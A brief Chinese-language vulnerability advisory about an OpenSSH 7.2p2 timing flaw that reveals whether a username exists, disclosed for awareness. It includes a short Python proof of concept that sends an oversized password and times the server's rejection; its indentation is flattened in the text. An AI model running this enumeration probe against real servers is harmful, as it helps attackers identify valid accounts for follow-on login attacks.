该漏洞在opensshd-7.2p2 中被发现,但是安全人员指出,该漏洞应该在更早的版本中已经存在。
漏洞描述如下:
当我们使用ssh客户端去连接服务端的时候,如果向服务端发送一个大于10KB的密码,由于OpenSSH服务端会对user:password的组合,使用加密算法SHA256/SHA512进行加密。
如果我们传输的是一个不存在的用户名,那么就不会进入sha256(user,password)加密流程,如果用户名存在,服务器将会针对这个10KB大的密码进行SHA256的加密,这里就会产生时间差。
Sample code:
—————-
import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.clock()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect('127.0.0.1', username=user,
password=p)
except:
endtime=time.clock()
total=endtime-starttime
print(total)
(Valid users will result in higher total time).
关于该漏洞更多详情,可以在这里查看:
http://seclists.org/fulldisclosure/2016/Jul/51